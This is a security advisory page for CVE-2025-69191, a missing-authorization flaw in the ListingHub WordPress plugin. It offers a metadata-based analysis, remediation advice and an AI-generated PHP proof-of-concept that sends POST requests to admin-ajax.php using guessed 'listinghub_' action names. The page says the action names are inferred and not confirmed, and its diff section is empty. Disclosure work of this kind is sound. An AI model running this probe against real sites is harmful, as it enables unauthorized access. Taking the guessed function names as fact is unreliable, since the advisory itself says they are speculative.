Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-69191: ListingHub <= 1.2.7 – Missing Authorization (listinghub)

Plugin listinghub
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 1.2.7
Patched Version
Disclosed January 21, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-69191 (metadata-based):
This vulnerability is a Missing Authorization flaw in the ListingHub WordPress plugin, affecting versions up to and including 1.2.7. The flaw allows unauthenticated attackers to trigger a privileged action intended for authorized users. The CVSS 5.3 score (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) indicates a network-based attack with low complexity that leads to integrity impact.

Atomic Edge research identifies the root cause as a missing capability check on a WordPress hook. The CWE-862 classification confirms the plugin fails to verify a user’s permissions before executing a function. This analysis infers the vulnerable code registers a function to an AJAX or admin-post hook without using `current_user_can()` or a similar authorization check. The description does not confirm the specific hook or function name.

Exploitation requires an attacker to send a crafted HTTP request to a WordPress endpoint. The most likely vector is the WordPress AJAX handler. An attacker would send a POST request to `/wp-admin/admin-ajax.php` with an `action` parameter corresponding to the vulnerable ListingHub function. The payload would contain parameters the function expects to perform its unauthorized action, such as modifying plugin settings or data.

Remediation requires adding a proper authorization check before the vulnerable function executes. The patched code must verify the current user has the required capability, typically `manage_options` for administrative actions. The fix should also include nonce verification for state-changing operations to prevent CSRF, though the primary issue is the missing capability check.

Successful exploitation allows an unauthenticated attacker to perform an unauthorized action. The CVSS vector indicates no confidentiality or availability impact, but a low integrity impact. This suggests the action could involve modifying plugin-specific data, altering configuration, or triggering a non-destructive administrative function. The exact impact depends on the functionality exposed by the vulnerable hook.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-69191 - ListingHub <= 1.2.7 - Missing Authorization
<?php
/**
 * Proof of Concept for CVE-2025-69191.
 * This script attempts to trigger an unauthorized action in the ListingHub plugin.
 * The exact AJAX action name is inferred from common plugin patterns.
 * Assumptions:
 * 1. The vulnerable endpoint is the WordPress AJAX handler.
 * 2. The plugin uses an AJAX action prefixed with 'listinghub_'.
 * 3. The action performs a state-changing operation without a capability check.
 */

$target_url = 'http://vulnerable-site.com/wp-admin/admin-ajax.php'; // CHANGE THIS

// Common inferred action names for a plugin named 'ListingHub'
$candidate_actions = [
    'listinghub_save_settings',
    'listinghub_update_data',
    'listinghub_process_action',
    'listinghub_import',
    'listinghub_clear_cache'
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only

foreach ($candidate_actions as $action) {
    $post_data = ['action' => $action, 'test_param' => 'atomic_edge_poc'];
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    
    echo "[*] Testing action: {$action}n";
    echo "    HTTP Code: {$http_code}n";
    echo "    Response Length: " . strlen($response) . "n";
    // A successful trigger may return a 200 with a specific JSON response or a WordPress error.
    if ($http_code == 200 && !empty($response)) {
        echo "    Potential vulnerability trigger detected.n";
        echo "    Response Preview: " . substr($response, 0, 200) . "...n";
    }
    echo "n";
}

curl_close($ch);
?>

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